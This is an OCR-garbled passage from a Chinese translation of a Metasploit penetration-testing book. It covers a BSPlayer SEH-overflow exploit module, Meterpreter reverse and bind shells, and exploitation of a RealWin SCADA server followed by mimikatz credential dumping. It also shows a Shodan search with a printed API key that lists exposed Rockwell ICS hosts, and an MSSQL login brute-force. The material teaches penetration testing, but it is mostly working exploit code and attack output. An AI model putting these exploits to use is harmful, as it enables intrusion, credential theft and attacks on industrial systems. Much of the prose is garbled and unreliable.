BT B T, 0 P T B R TR R AE 19 o BRATIAE T — 35 pee BT A e ) il e s — A
&, MK LERE AT LR B B AL i— 1> MetasploitHe 2 B R .

431 WEXHEER
T RER T A W e i

=

F = T B &
1 i 2048
2 CLA1POP-POP-RETN A I$5 4 / P-P-REEINAEH AU B 0x0000583b
3 1] Ji5 ket /31 ShellCodeff - Bk ik \xe9\x85\xe9 \xff\xff
4 IR 5 T T/ SEHIHS £ \xeb\x£9\x90\x90

FATIIEC 29048 T B 1EBSplayer 2.68Metasploithi iU 2 HBEE T . WTLIES, W5
H ¥4 ShellCodelilt B 7E 12048 "NOPZ S5 , ANl X F A KRG SEPr % 1 il A2 2048 —— B il 7
SEHZ 5 X (14 i [ 2 X A A 2012 45 Shell Code ff B3 R A8 1 2 1] o ANtk FRATTATI R R X A B A A B8
L, XN TSR IR A R, AN, \xcol2— Wi S EEN, (BREX B ERI
o, BRI, H RS RIABR], B jmplong TAEAH T £ ShellCode i [ 5 Bk o
nseh B P T N —Widy bk, WAtRRNT7E L —FE el Bk . sen Bt R T
p/P/RIGZIFHN A HbAL .

JRG-3, MR BMFEEAIIRS S . B IRV S BRI 306 T 2 3 Bp 4

ﬂ H—E LBt ESaIE T, EL AT ENES REERMNGEE
Bl R EBEAL TR HRE, KA BARGFERZE, ZRELETEZHAE,

4.3.2 3 Metasploit #E1R
HEHTE— T Metasploit BB HL LA 4) -

require 'msf/core’

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::TcpServer

def initialize(info={})
super (update_info (info,
'Name' => "BsPlayer 2.68 SEH Overflow Exploit",
'Description' => %q{
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Here's an example of Server Based Exploit
}
'Author’

=> [ 'Nipun Jaswal' 1,
'Platform' => 'win',
'Targets' =>

[
[ 'Generic', {'Ret' => 0x0000583b, 'Offset' => 2048} ],
1,
'Payload' =>
{
'BadChars' => "\x00\x0a\x20\x04d"
}
'DisclosureDate' => "May 19 2016",
'DefaultTarget' => 0))
end

FIHACAIERMNC AR E SR BB T, FHAAEIFIEMRRZEN, E—RARREZ A
TET M/lib/msf/core/exploit/tcp_server.rb5| A T —~TCP serverf& . iXTCP serverZE it T ZbFH
B AR T 1 45 R O7 2 RSO RE TR, Bl U SRVHOST . SRVPORTHISST . I A&/ CAL 138 4%
iy

def on_client_connect (client)
return if ((p = regenerate_payload(client)) == nil)
print_status("Client Connected")
sploit = make_nops(target['Offset'])
sploit << payload.encoded
sploit << "\xcc" * (6787-2048 - payload.encoded.length)
sploit << "\xe9\x85\xe9\xff\xff"
sploit << "\xeb\xf9\x90\x90"
sploit << [target.ret].pack('V")
client.put (sploit)
client.get_once
client.put (sploit)
handler (client)
service.close_client (client)
end
end

FATHHEA X LB BRI P A 2B ERE, W2 Ton_client_connect |
on_client datafllon client disconnectiXJL R, ,H\EPHEV%E%, @%ﬁ%ﬁﬁﬂ@@ﬁ?ﬁ
Jon_client_connect, fERCHE BB M SRVHOST FISRVPORTH LA FHX 4™ R%L

FA1E ZAf FHMetasploit ifmake_nops BRI TNOP, Jfi Fpayload. encodediX LENOP
HRAEN T Mo glarrh,  INRESe 1 7EXct s T g A . FAl T IR R B B A A R A A 75
e 2 Frsploit UTIATER Y. MFFEht, nfLUM#FHclient .put () BRECK-SEEWE %2 HiR,
XA PRA A E PR T B R B B bR AFR IS IE T2 ) HAR AR IR A S, Tl
FATHBEEMIR E L Z A H]client . get_once PREPRIFEHE R /PR A, X PEEE nT
RESSEE T — AT — Ak 25, B RSN &R 2 )5, ffi Fhandler &r FR BB L
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FR2s. fn, Hiflservice.client_closeRPXIKS HARMIER:,

ATUFES], AP T clienc X5, BORKNIMIGE HARR B A AGORIE R —
MSLHIRS G, FRVFIR— IRl 20 AR

KB F X ~Metasploithi B ) SE Rz T R

msf > use exploit/windows/masteringmetasploit/bsplayer
msf exploit(bsplayer) > set SRVHOST 192.168.10.118
SRVHOST => 192.168.10.118

msf exploit(bsplayer) > set SRVPORT 8080

SRVPORT => 8080

msf exploit(bsplayer) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(bsplayer) > set LHOST 192,168.10.118

LHOST => 192.168.10.118

msf exploit(bsplayer) > set LPORT 8888

LPORT => 8888

msf exploit(bsplayer) > exploit

[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.160.118:8888
msf exploit(bsplayer) > [*] Server started.

G FE R, MBSplayer 2.683% #5118 1% R 55 % 11808035 1 |

Open URL u
Open
hittp: //192.168.10.118:8080 v
[ ok ][ concel |

B3 [ 9B B A 2 i P P ST S BRI, — > Meterpreter Moy 28007 st £ & 26 31 H AR
SO N 0 8 N ESD T N B

[*] Client Connected

[*] Sending stage (957487 bytes) to 192.168.10.105

|*] Meterpreter session 1 opened (192.168.10.118:8888 -> 192.168.10.105:49790) at 2016-05-09 23:30:5
0 +0530

exploit (bsplayer) >

T A C 43815 BinfMeterpreterfin 2 AR . FRATTH FiMetasploit1 i TCP server & 4
BT —NBiENRS YL, EMetasploitt, FATAE AT LA# FIHTTP server 2 3 HTTPHR 55 )
REAR
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8 J R AR IK THTTPIR 52 .09 £ %43 8., 7T vAi7 9] /lib/msf/core/exploit/http/server.rb.,

4.4 N

LN T RKENBBHEIBELRZ )G, RATC L8 1A RS BRI 2| Metasploit
RS . SRR, FRATHEE T Aol 520 Mk 25 B2 BB AL HE B MetasploithE 42
TEARTEH, FATES, T MRS A 3R BB ik, 2420 T &M B S B TE BB L i
fER, 058 > T T SEHRB BRI AR, DL AT HEs B iE k55 .

S Ik, FATC 82l T RIS B BEIRRE %> . N T —FH AR, RITESFERWN
Al fifi i Metasploit5e S 4 i il 45 1k, DL R anfar BAARSCEI 4 # il 55 (lanvOoIP, DBMSLL
JSCADA ) i5iEMI




{s5 FH MetasploitXt AR KT
M

“FM— 2 BRARIEE 4, BFBRE—TARRFAEITE S
——Santosh Khadsare, M %3 AE R

IRAELEFAT PR B OCHE my 028 Fh Ll ik 55 BB @it . VR B @i TARI, ARTER M) 2R
TRAT e BIXAE R A B P BB B A . A T TS ZERT I — R B IR 55 g 1B il
AR S A LT REisfTE B . IPERIE ( Voice Over Internet Protocol, VOIP ) ol MsiE A1 ¥R
KEZ% (Supervisory Control and Data Acquisition, SCADA ), ARZEFE LI IX EER S 15 B
[, SR I ER T e . ARG IR T LU LA,

Q Hf# 4T SCADAR B FE I FE

O TA=HIER % (Industrial Control System, ICS ) A4 IR DL K S5 bR
Q S PR A

0 XVOIPR 55475 E NI

) 5E I — ORI 55 1938 B AT ZR B 3 1) L SRR 55 B TR Z2 Bk o A F0RE A
XTI T, SERON IR AT R S I

5.1 SCADA RZGRIEK/RIE

SCADABUECL 28] Z W HAESE I . Al o i) LS OR BN 55 42 il JIR 5525 07 ThT Y 47
b,

SCADA FZ 1 T58 i BE Lol AR 55, BIanxd /KAy BERE . SRR TE IR . By
WZg P, 5
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5.1.1 ICS HIE KRR A ERER ST

SCADARGURICSREL, i HIE— SRS E . — ELRBURIRR, B ARA T fEfe A
et ICSHEH MTAERBL T A rp, SATTfil A Ml =i A, il i — 5 LU TR & P e
2y fl . TERPE IR A AR . A I AR R K, SEAE

XFPSCADA R SR MER 340 T 7R

LERERSY R &
TERE L i AT XS — TR DR B A I (40 oh B 715 BRI B
(Remote Terminal Unit, RTU)
A GRS R I 25 AR SRR T B A IR 55 2R RN SRR R ST, BRIV LIESRTU 4340
(Programmable Logic Controller, PLC) e B RTLE &R YL (Fl40FTP, SSH)
AHLS I XA AT UL B M g 8 il it SCADA R G il R T L B3R5
(Human Machine Interface, HMI)
BRER T FHEA EE—AGS R, BASRUUE —AEhlg . e LA &%y
(Intelligent Electronic Device, IED) & RGERIREMES , BIATEIMAREFI R RS 5 — R e 2

IEESEINES

5.1.2 ICS-SCADA ZE£REZEM4

ICSIEH 0 KRR, — B ENTIERIBTE ARIANED TP, Ko7 A IR JE 2R
PARAE— T, ARRIR SR E A R P R Sl B 1AL o5 Tty , AT AU 2 45341
AR SRR & —— R LESCADA RGN 2B . IRBVFE L (RIRJEE4), H
HRREA TR TR, KB EARLEARNES; A5 T aCmiR AL, XHRRRA .
TERI A TG R, — BIXFPE R, oGl o ™ ERIROR, BB — 2 AR

FEFA T EFRIREE, M5 EMf%wS ( Stuxnet worm ) ML, ICSFISCADA & 5: 1%
PR T E AR, 2 PRSI B B A— 1 SCADAR S, s i e TEf i
KA BT e 4, DL — N 22 r ARk

5.1.3 SCADA RZGHZLEMN1

ARG THE WM BB ASCADAR S, EARZ AT LIMELSCADAR S T H., {HJEX}
MRS SBEABIER . Wb, N THRIEARBREG 3, RITEXEBHNE BN
Metasploit iy T HXFSCADARE % .

1. M SCADARY EL A [ 38

TERRATIFUE T #1315 SCADA R G FEA SN, f i MetasploitH i TIRZ B B, FIH
S T] LB B ASCADAR G, 7348, #5-SCADARRSS w7 AH FHERIA MG 24 R i,
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FIRIXMIEIE AR UL, (HE T

IAE 2R AR — L SCADANRSS % , 7T LUK Fifhttp://www.shodanhq.comiX M1t 75 (1) 9 I ok
FERIXMESS -

(1) B4, 7EShodan i il — A~k

(2) MG, AT LATE K P (%) Shodan iR 45 T 4% B APIZE 8 . R X AN 8, 7T LA3E i
Metasploitf] Z &l 55 -

(3) R R Y wH: /R b FE R FISCADAR G, XM AT EHauxiliary/
gather/shodan_search*ﬁﬁ%o

(4) FroUERYZEUIUIH I E HRockwell, FFEFEEKMEER, 4R TFEFIR.

msf > use auxiliary/gather/shodan search
msf auxiliary(shodan search) > show options

Module options (auxiliary/gather/shodan_ search):

Name Current Setting Required Description

DATABASE false no Add search results to the database

MAXPAGE 1 yes Max amount of pages to collect

OUTFILE no A filename to store the list of IPs

Proxies no A proxy chain of format type:host:p
ort[,type:host:port] [...]

QUERY yes Keywords you want to search for

REGEX Lk yes Regex search for a specific IP/City
/Country/Hostname

SHODAN APIKEY yes The SHODAN APT key

msf auxiliary(shodan search) > set SHODAN APIKEY RxSqYSOYrs3Krgx7HgiwWEqmZMv5XsQa
SHODAN APIKEY => RxSgY¥SOYrs3Krgx7HgiwWEqmZMv5XsQa

(5) K5 SHODAN_APIKEYIEIN (IE X &} Shodan iRk 5 BYAPIE ], SR 5K QUERYIEII A (1% &
Hrockwell, TREANTET/RIEEHE,

msf auxiliary(shodan search) > set QUERY Rockwell
IQUERY => Rockwell
msf auxiliary(shodan search) > run

[*] Total: 4249 on 43 pages. Showing: 1 page (s)
[*] Collecting data, please wait...

Search Results

IP:Port City Country Hostname

104.159.239,246:44818 Holland United States 104-159-239-246.static.sgnw.mi.charter.com
107.85.58.142:44818 N/A United States

109.164.235.136:44818 stafa Switzerland 136.235.164.109.static.wline.lns.sme.cust.swisscom.ch
119.193.250.138:44818 N/A Korea, Republic of

12.109.102.64:44818 Parkersburg United States cas-wv-cpe-12-109-102-64.cascable.net
121.163.55.169:44818 N/A Korea, Republic of

123.209.231.230:44818 N/A Australia

123.209.234.251:44818 N/A Australia

148.64.180.75:44818 N/A United States vsat-148-64-180-75.c005.g4.mrt.starband.net
148.78.224.154:44818 N/A United States misc-148-78-224-154.pool.starband.net

157.157.218.93:44818 N/A Iceland
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WIS RERS], FATERBM L] 7R A R HIRockwell H 1L A B IE/EZ1THISCADA
iz 55 i o

2. EFSCADAHI B EER

it —Bita], SCADARGHIBE ML AR B E . SCADAR G WAL KPP FE
ROTRIR , AR %S BRI . RS TR . Sl AR TR A1 SQLE AR .

BEAt, 33k 26 Y i ik n] RE 23 BB FATT A W R A i, X — DD IE AN Z BTHE BIREE .
SCADAB #%3Z $I & Bt i) EZA A WA~ : SCADAF & A G TE S PRIt 155 2 AR E N TR
il I AN LTS

FATRE —ASCADAK T, FH24 i FHMetasploitf X HlF 785 . 7E8: F ki fi 1
t, FATH £ AEWindows XP_[-i57TMetasploit Xf—"DATAC Realwin SCADA Server 2.0 & 41t
1B,

X ANEAT7E9 1 205 H BRI SSHH TCIit 5 i sprint £pREL, PIAEAESE 0 IX 3
i, DATAC RealWin SCADA Server AU ] sprint £ BRECR s — RS di ARG i 4y
ETAFH . — B R E A, TR S EBURAN REMI A

f)‘ﬂi’{?ﬁ{ﬁﬁﬁMctaSploittF' BB exploit /windows/scada/realwin_scpc_initialize
SE A DATAC RealWin SCADA Server 2.0//i83% . XNt FE R KT .

msf > use exploit/windows/scada/realwin scpc initialize

msf exploit(realwin secpc initialize) > set RHOST 192.168.10.108

[RHOST => 192.168.10.108

msf exploit(realwin scpe initialize) > set payload windows/meterpreter/bind tep
Payload => windows/meterpreter/bind tcp

msf exploit(realwin scpc initialize) > show options

Module options (exploit/windows/scada/realwin scpc initialize):
Name Current Setting Required Description

RHOST 192.168.10.108 yes The target address
RPORT 912 yes The target port

Payload options (windows/meterpreter/bind tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPCRT 4444 yes The listen port

RHOST 1%2.168.10.108 no The target address

[Exploit target:

Id Name

0 Universal
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FxX FLRHOSTHIMEIR B H192.168.10. 108, KU 2 1% B Hwindows /meterpreter/
bind_tcp, DATAC RealWin SCADA i Ay ¥R IASG H 4912, BIAEEXTX A BAr#A i, 4
WEIZ IR &5 ] BRI

msf exploit(realwin scpc initialize) > expleoit

[*] Started bind handler

[*] Trying target Universal...

[*] Sending stage (957487 bytes) to 192.168.10.108

[*] Meterpreter session 1 opened (192.168.10.118:38051 -> 192.168.10.108:4444) at 2016-05-10 02:21:15 +0530

meterpreter > sysinfo

Computer : NIPUN-DEBBE6F84

(e} : Windows XP (Build 2600, Serwvice Pack 2).
Architecture 1 x86

System Language : en US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x86/win32

meterpreter > load mimikatz
Loading extension mimikatz...success.

G0 FATHFE AR SN SE B T X BARIBE . % TR Anini kat PR AR RS
RSO, XA R E TR

meterpreter > kerberos

Not currently running as SYSTEM
[*] Attempting to getprivs

Got SeDebugPrivilege
[*] Retrieving kerberos credentials
kerberos credentials

AuthID Package Domain User Password
0;999 NTLM WORKGROUP NIPUN-DEBBEGF845

0;997 Negotiate NT AUTHORITY LOCAL SERVICE

0;52163 NTLM

0;996 Negotiate NT AUTHORITY NETWORK SERVICE

0;176751 NTIM NIPUN-DEBBE6F84 Administrator 12345

A fin S kerberosZ/m, HAI LRI IWISOEARAFRE 1o BA T SAEA Y54
HR X mimi kat z A BE AU R TR 4

TEMetasploit - A K i LISCADA R Gt llwilil 4 HARAE B . R AR IO S IX 2 1 1
M5 R, AT LAVF A B EER F i KA SCADA B % N2 43 AR W il http://www.scadahacker.com, 7E
http://scadahacker.com/resources/msf-scada.html U7 [A]_I- ¥ msf-scada it 73 A7 Kt A7 B B Y

B

=3
F./cho

http://www.scadahacker.com M3 1 /R T T 4F K & BLSCADA R Gt 945 Fhike il o X131 26
RAET B3t TN C I SCADA & . %7 M IHERIRT . RGEAM:. MetasploitH ) AH AR
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Yo, BN AR SR Z RS S8 — 4 Metasploithibk .

BB —BEHE], Metasploit il S U IN—28 56 F R Gt A EoHE B, X i Metasploitr] LA
AT PSSR B BT 45 . T ESER T http://www.scadahacker.com [ 2L 45 AP (371 26

Metasploit Modules (via MSFUpdate / SVN)
Vendor System / Component SCADAhacker Metasploit Disclosure | Initial MSF
Y P Reference Reference Date Release Date
exploit/windows/scadaligssd_igssdataserver_listall.ry Mar. 24, 2011 May 16, 2011
7 Technologies 1Gas IC3-11-080-03  |exploit/windows/scadafigss8_igssdataserver_rename.rb  Mar. 24, 2011 Jun. 9, 2011
g ICSA-11-132-01A |exploit/windows/scadaligss8_misc.rb Mar. 24, 2011 May 30, 2011
auxiliary/zdmin/scadaligss_exec_17.1b Mar. 21, 2011 Mar. 22, 2011
AzeoTech DAQ Factory Click Here exploit/windows/scada/daqg_factory_bof.rb Sep. 13, 2011 |Sep. 17, 2011
35 CoDeSys Click Here exploit/windows/scadalcodesys_web_server rb Dec. 2, 2011 Dec 13, 2011
BACnet OPC Client ICSA-10-264-01 |exploit/windows/fileformat/bacnet_csv.rb Sep. 16, 2010 Nov. 11, 2010
Operator Workstation |n/a exploit/windows/browser/teechart_pro.rb Aug. 11, 2011 JAug. 11, 2011
Beckhoff TwinCat Click Here auxiliary/dos/scada/beckhoff_twincat rb Sep. 13, 2011 |Oct. 10, 2011
General Electric D20 PLC Press Release  |auxiliarny/gather/d20pass.rb Jan. 19, 2012 Jan. 19, 2012
DigitalBond 84  unstable-modules/auxiliary/d20tftpbd rb Jan. 19, 2012 Jan. 19, 2012
exploit/windows/scadaficonics_genbroker.rb Mar. 21, 2011 Jul. 17, 2011
|canics [Genesis32 163-11-080-02 exploit/windows/scadaficonics_webhmi_setactivexquid rb  |May 5, 2011 May 11, 2011
Measuresoft ScadaPro Click Here exploit/windows/scada/scadapro_cmdexe.rb Sep. 16, 2011 |Sep. 16, 2011
- ICS-10-293-02 .
Moxa Device Manager [CSA-10-301-01 exploit/windows/scada/moxa_mdmtool.rb Oct. 20, 2010 Nov. 6, 2010
RealFlex Real\Win SCADA exploit/windows/scada/realwin_rb Sep. 26, 2008 Sep. 30, 2008
ICS-11-305-01 exploit/windows/scadalrealwin_scpc_intialize.rh Oct. 15, 2010 |Oct. 18, 2010
ICSA-11-313-01 exploit/windows/scadalrealwin_scpc_initialize_rf.rb Oct. 15, 2010 Oct. 18, 2010
exploit/windows/scada/realwin_scpc_txtevent.rb MNow. 18, 2010 [Nov. 24, 2010
ICS-11-080-04  lexploit/windows/scadalrealwin_on_fc_binfile_a.rb Mar. 21, 2011 Jun. 19, 2011
ICSA-11-110-01  |exploit/windows/scadafrealwin_on_fcs_login.rb Mar. 21, 2011 Jun. 22, 2011
Scadatec Procyon Click Here exploit/windows/scada/procyon_core_senverrb Sep. 8, 2011 |Sep. 12, 2011
ScadaTEC g‘l;:g::;;zﬂgewer Click Here exploit/windows/fileformat/scadaphone_zip.rb Sep. 12, 2011 |Sep. 13, 201
Schneider Electric C!teclSCADA exploit/windows/scadalcitect_scada_odbc rb Jun. 11, 2008 Mowv. 8, 2010
CitectFacilities
Sielco Sistemi Winlog ICSA-11-017-02 |exploit/windows/scadalwinlog_runtime.rb Jan. 13, 2011 Jun. 21, 2011
s Tech tix FactoryLink IC3-11-080-01 exploit/windows/scadaffactorylink_csssemvice.rb Mar. 25, 2011 Jun. 24, 2011
1emens fechnomatix fractary.n ICSA-11-091-01 |exploit/windows/scada/factorylink_vrn_09.rb Mar. 21, 2011 Hun. 21, 2011
Unitronics OPC Server nfa exploit/exploits/windows/browser/teechart_pro rb Aug. 11, 2011 JAug 11, 2011
Metasploit Modules (Privately Developed and/or Publicly Shared)
T System / Component S ke Metasploit Module Author Date
Developer Reference
DigitalBond  |Schneider Modicon Quantum Credential Disclosure pending modiconpass DigitalBond Feb 14, 12
DigitalBond  Rockwell Automation ControlLogix Ethernet/IP pending ethernetip-multi DigitalBond Feb 14, 12
DigitalBond  Koyo/DirectLOGIC ECOM Bruteforce pending koyobrute DigitalSond Feb 14, 12
SecureState  |Nmap-like Meterpreter Extension (MSFMap 0.1.0) n/a msfmap Spencer Mclntyre  Dec 30, 11

514 £ SCADATZEEMELEE

{fiSCADA M4 T 2 4 Je g — N N B P TAFE A5 B IR TR A &8 H bR, 420 b ise
T BEB A e S AT A BE SRS CAD A RR 55 122 4 3 A g S e

1. EIMSCADAKI R £
TS S BASCADA Y 2 At — MRIFMERIT ST o Aid, FATFELISCADARGE M2 42t
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AL LT X S SCHE R

Q BT S SCADAMZE IS B, IFHE XA DT AR R 20 B4

Q TETCA ML FLIN, ORI ) 0 28 S AR BT T

Q % B SCADAT i R Y 2K 58 LT A 22 24t

Q X RIS 4 R GEER SR BTN (IDPS ) HoA, JTHRHE24/INAS )W A8 S
Q X FTAT M2 SERBOiE A TIC R, A B BURUHAR A P 2 BN TR A P A

O A IRTBMAEE DR E WX R G4 i

2 X MBHITAR

W 265 e R B BGE FFE 5 OR 2 B BT IR B 2 ARBTG5 S5 A % . HRAE#5 R SCADA
Tk P R IMEE R RS R ol AN T ZE A AR S5

Mo S RAREEZ T FEIA—ASCADA A%, — & B B He 47 49 Windows & 42 %

9 SCADA % %38 % 52 & T Windows XPEILE, XA KT A% L 69 THE
EANT, A AL 20 F s 0 aIR

52 HiIRFESE

2] TXSCADAMZRINBIEZ IR, i AR TEIT IR B i o5 i e N2
Hr, FRATTR 32 F AR 2 A I g 4 2% Pl o S I R T OB 5 K
AN SR A PR S AR, T RE S DS AR A U A T B M 2 B i, T 28w
PRI RS . SERE Y . IO JRARICSE . e B L T E SR A B rT e
BB —LE A HLOBIN, XSO 2R T RGO A

N T B PREIE A e 2 A, FA T BRI A OCHEmS , SR A A2 R A Ml 75 AOx X 2 e
55 BEAT I

5.2.1 SQL Server

TLAE198OAFTUAOHAE T T B MBEIE . KBB4 BT ARA IMS SQL Serverff e
MBGE G Ak, WERME AR H R AR Z 55, Bn Rl U0 T 52 SIAE ff i iia 71
[ R o

TEAS T ECE PRI, FRAT P AR Pk g LA— oAy 2t 7 ORI B s PR AR 48 . 3K

INEWL R, MS SQLIZAF1ETCPHY 143335 11 L S UDPHY 14343 11, BLLETF G4 /E Windows 8 R 4%
FiEfTHMS SQL Server 2008,
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5.2.2 £ Nmap Xt SQL Server #{TER &=

TETFifiMetasploit W AZ CBEE 2 /i, Jesle B B AT 0 25434 T E Nmap#B i) LIRS 6
TFSQLARS #RIMFLE(E B . 1 el fiMetasploitt H 47 [ db_nmapidiff.

HAEPLEFTHF— " Metasploitfiy 247, I XF H bR 4 143355 H FE1T— IR SS- il >k 58 s H
FRRBAISQL Serverif i TAE . XA RRUT R EITR o

=
o]
—h

> db_nmap -sV -pl433 192.168.65.1

Nmap: Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-27 17:57 UTC
Nmap: Nmap scan report for 192.168.65.1

Nmap: Host is up (0.010s latency).

Nmap: PORT STATE SERVICE VERSION

Nmap: 1433/tcp open ms-sql-s Microsoft SQL Server 2008 10.0.1600; RTM
Nmap: MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap: Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap: Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap: Nmap done: 1 IP address (1 host up) scanned in 9.11 seconds

> services

S = = e oy o
D * % % * ¥ ¥ * ¥ *
e e e )

Services

host port proto name state info

192.168.65.1 1433 tcp ms-sql-s open Microsoft SQL Server 2008 10.0.1600; RTM

e L, FRATIES T 05 11433, % 132178 —1>SQL Serverf TCPSLH , AI LA
HoFE B IR R T

N R 2R A —1SQL ServerUDPSLfil#E Hbr izt T, X — s Al LI i — % UDPiy
1143489 AR 55 iR S8, an R B s .

=
]
—h

> db_nmap -sU -sV -pld434 192.168.65.1

Nmap: Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-27 18:01 UTC

Nmap: Nmap scan report for 192.168.65.1

Nmap: Host is up (0.00095s latency).

Nmap: PORT STATE SERVICE VERSION

Nmap: 1434/udp open ms-sql-m Microsoft SQL Server 10.0,1600.22 (ServerName: WIN8; TCPPort: 1433)
Nmap: MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap: Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap: Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap: Nmap done: 1 IP address (1 host up) scanned in 1.17 seconds

> services

S e e o o o
D o* * % * % % ¥ ¥ *
| o ot e b b b b b

Services

host port proto name state info

192.168.65.1 1433 tcp ms-sql-s open Microsoft SQL Server 2008 10.0.1600; RTM
192.168.65.1 1434 udp ms-sql-m open Microsoft SQL Server 10.0.1600.22 ServerName: WIN8; TCPPort: 1433

ATLAE AR, SIRATLEXTUDP 14340475460, Nmapa FATER T—2XETH
HRSQL ServerfIRFIN{E &, L ANSQL Serverf A LA B IR 55 #5004 FRWINS .

BUAEAE TN B AN map AR AT — 265 T FAREE PERIRTHINGE B o
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> db_nmap -sU --script=ms-sql-info -pl434 192.168.65.1

Nmap: Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-27 18:13 UTC
Nmap: Nmap scan report for 192.168.65.1

Nmap: Host is up (0.001ls latency).

Nmap: PORT STATE SERVICE

Nmap: 1434/udp open|filtered ms-sql-m

Nmap: MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap: Host script results:

[*1

[*1

[*1

[*1

[*1

[*1

[*1

[*] Nmap: | ms-sql-info:

[*] Nmap: | Windows server name: WINS

[*]1 Nmap: | [192.168.65.1\MSSQLSERVER]

[*] Nmap: | Instance name: MSSQLSERVER

[*] Nmap: | Version: Microsoft SQL Server 2008 RTM
[*] Nmap: | Version number: 10.00.1600.00

[*] Nmap: | Product: Microsoft SQL Server 2008
[*] Nmap: | Service pack level: RTM

[*] Nmap: | Post-SP patches applied: No

[*] Nmap: | TCP port: 1433

[*] Nmap: | Named pipe: \\192.168.65.1\pipe\sql\query
[*] Nmap: |_ Clustered: No

[*] Nmip: Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds
msf >

i s -sql - inf o JlIACKS 2 Nmap XtMS SQLAYFIHEHE IAG#h . I I IB RIS TH L
BIMEE, Bl iEE . B EE . 2. AR 7= fE B AR & A E S .

5.2.3 {£F Metasploit FI4EHRIFITIIH

BLAEAS I MetasploitHt I FMS SQLAY & [ AL, J-4r i i i sepii bl v] DUAS B3R A 14K 45%
MR B . Bl A SE — N B Bnssql_ping, XMEHsldE — S AR IR 5515 5

G, AR BHIF IR A, AR B

msf > use auxiliary/scanner/mssql/mssql_ping
msf auxiliary(mssql ping) > set RHOSTS 192.168.65.1

RHOSTS => 192.168.65.1
msf auxiliary(mssql ping) > run

[*] SQL Server information for 192.168.65.1:

ServerName = WINSB

InstanceName = MSSQLSERVER
IsClustered = No

Version = 10.0.1600.22

tep = 1433

np = \\WIN8\pipe\sql\query

[*] Scanned 1 of 1 hosts (100% complete)
[*¥] Auxiliary module execution completed
msf auxiliary(mssql ping) > ]

B EEFTR, AR TILT 2 2R EE . (B2 5Nmaptftt, Metasploitii iR
[l 5 S5 S AR T e T . SR FHMISFARLER 5E il — 28 Nmap TG i 5E BT 55
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52.4 BRIWEEN

TEIB BB 2 h )T — 2 2 B B EA A RS B YA . Metasploit &4 — 144
Hmssql_loginf N B, FAWE NS EIEAMIERZE, v LUd X MRS XTMS SQLEE
JEHP Y FE P 44 RS A T R

BUAE AR MBI i 455

> use auxiliary/scanner/mssql/mssql_login

msf auxiliary(mssql login) > set RHOSTS 192.168.65.1
RHOSTS => 192.168.65.1

msf auxiliary(mssql login) > run

E
-

*] 192.168.65.1:1433 - MSSQL - Starting authentication scanner.

] 192.168.65.1:1433 MSSQL - [1/2] - Trying username:'sa’' with password:'
192.168.65.1:1433 - MSSQL - successful login 'sa’ v

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(mssql login) > [

——

BAT TR 5, EawE el RGBT 2 i b f i, X ASERIA P 445
FEsa, MERIARYERSIIEES WS FIXAN A A 8 si, FRATTH0 AT LAKITE BRIA ) P 44 F iy
WM Z . AN, AR sallk P IEASRE LTRSS, A2 08 B0l F o 2 ) B S AR UF LA T
Mhk, B TR TTSS, RATE S B USER_FILEMPASS_FILEMIE ST FIT5 B A A7 i i iy 2
i FHAG FH 7 25 AV i SO 4 -, SR ST DBMS Y FH 7 4% RV it A 7 2% S it

msf > use auxiliary/scanner/mssql/mssql_login
msf auxiliary(mssql_login) > show options
Module options (auxiliary/scanner/mssql/mssql_login):
Name Current Setting Required Description
BLANK_PASSWORDS true no Try blank passwords for all users
BRUTEFORCE SPEED 5 yes How fast to bruteforce, from @ to 5
PASSWORD no A specific password to authenticate with
PASS FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 1433 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME sa no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per
ne
USER_AS_PASS true no Try the username as the password for all users
USER FILE no File containing usernames, one per line
USE WINDOWS AUTHENT false yes Use windows authentification
VERBOSE true yes Whether to print output for all attempts

>k ﬁ%{%ﬁﬁﬁ%ﬁﬁ%/\f‘%ﬁ USER_FILE. PASS_FILELAMRHOSTS, HAEE TIiXES5L,
WA R IE® 21T, AKX SEOH T I R iR E

msf auxiliary(mssql_login) > set USER FILE user.txt
USER FILE => user.txt

msf auxiliary(mssql_login) > set PASS FILE pass.txt
PASS_FILE => pass.txt

msf auxiliary(mssql_login) > set RHOSTS 192.168.65.1
RHOSTS => 192.168.65.1

msf auxiliary(mssql_login) >
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[*] 192.168.65.1:1433 MSSQL - [02/36] - Trying username:'sa ' with password:''
192.168.65.1:1433 - MSSQL - successful login 'sa ' : "'

[*] 192.168.65.1:1433 MSSQL - [03/36] - Trying username:'nipun' with password:"'’

[-] 192.168.65.1:1433 MSSQL - [03/36] - failed to login as 'nipun'

[*] 192.168.65.1:1433 MSSQL - [04/36] - Trying username: 'apex' with password:''

[-]1 192.168.65.1:1433 MSSQL - [04/36] - failed to login as 'apex'

[*] 192.168.65.1:1433 MSSQL - [05/36] - Trying username: 'nipun' with password:'nipun’'

[-]1 192.168.65.1:1433 MSSQL - [05/36] - failed to login as 'nipun'

[*] 192.168.65.1:1433 MSSQL - [06/36] - Trying username:'apex' with password:'apex’

[-] 192.168.65.1:1433 MSSQL - [06/36] - failed to login as 'apex'

[*] 192.168.65.1:1433 MSSQL - [07/36] - Trying username: 'nipun' with password:'12345'
192.168.65.1:1433 - MSSQL - successful login 'nipun' : '12345"'

[*] 192.168.65.1:1433 MSSQL - [08/36] - Trylng username: 'apex' with password:'12345'

